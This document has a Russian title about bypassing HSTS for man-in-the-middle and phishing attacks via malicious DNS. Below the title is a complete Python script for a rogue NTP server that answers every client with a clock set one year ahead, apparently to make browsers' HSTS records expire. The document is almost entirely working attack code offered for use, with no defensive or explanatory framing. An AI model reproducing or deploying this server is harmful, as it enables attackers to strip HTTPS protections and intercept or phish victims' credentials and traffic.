Обход HSTS при mitm и фишинг атаках через вредоносный DNS

#!/usr/bin/env python3



import socket


import struct


import time


import threading



NTP_EPOCH = 2208988800


YEAR_AHEAD = 31_536_000



SERVER_PORT = 123


BIND_ADDRESS = '0.0.0.0'


BUFFER_SIZE = 1024



def unix_to_ntp_timestamp(unix_time):


    ntp = unix_time + NTP_EPOCH


    sec = int(ntp)


    frac = int((ntp - sec) * (1 << 32))


    return sec, frac



def pack_ntp_timestamp(sec, frac):


    return struct.pack('!II', sec, frac)



def handle_request(data, addr, sock):


    if len(data) < 48:


        return


    li_vn_mode = data[0]


    version = (li_vn_mode >> 3) & 0x07


    mode = li_vn_mode & 0x07


    try:


        originate_ts_sec, originate_ts_frac = struct.unpack('!II', data[40:48])


    except struct.error:


        originate_ts_sec = originate_ts_frac = 0


    now_unix = time.time()


    server_time_shifted = now_unix + YEAR_AHEAD


    recv_sec, recv_frac = unix_to_ntp_timestamp(server_time_shifted)


    tx_sec, tx_frac = recv_sec, recv_frac


    ref_sec, ref_frac = recv_sec, recv_frac


    vn = version if 1 <= version <= 4 else 4


    li = 0


    mode_server = 4


    first_byte = (li << 6) | (vn << 3) | mode_server


    stratum = 1


    poll = 0


    precision = -20


    root_delay = 0


    root_dispersion = 0


    ref_id = b'LOCL'


    pkt = struct.pack('!B B b b', first_byte, stratum, poll, precision)


    pkt += struct.pack('!I I', root_delay, root_dispersion)


    pkt += ref_id


    pkt += pack_ntp_timestamp(ref_sec, ref_frac)


    pkt += struct.pack('!II', originate_ts_sec, originate_ts_frac)


    pkt += pack_ntp_timestamp(recv_sec, recv_frac)


    pkt += pack_ntp_timestamp(tx_sec, tx_frac)


    if len(pkt) < 48:


        pkt = pkt.ljust(48, b'\x00')


    try:


        sock.sendto(pkt, addr)


    except Exception:


        pass



def serve(address=BIND_ADDRESS, port=SERVER_PORT):


    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)


    sock.bind((address, port))


    print(f'NTP (fast-by-1-year) server listening on {address}:{port}')


    try:


        while True:


            data, addr = sock.recvfrom(BUFFER_SIZE)


            threading.Thread(target=handle_request, args=(data, addr, sock), daemon=True).start()


    except KeyboardInterrupt:


        pass


    finally:


        sock.close()



if __name__ == '__main__':


    serve()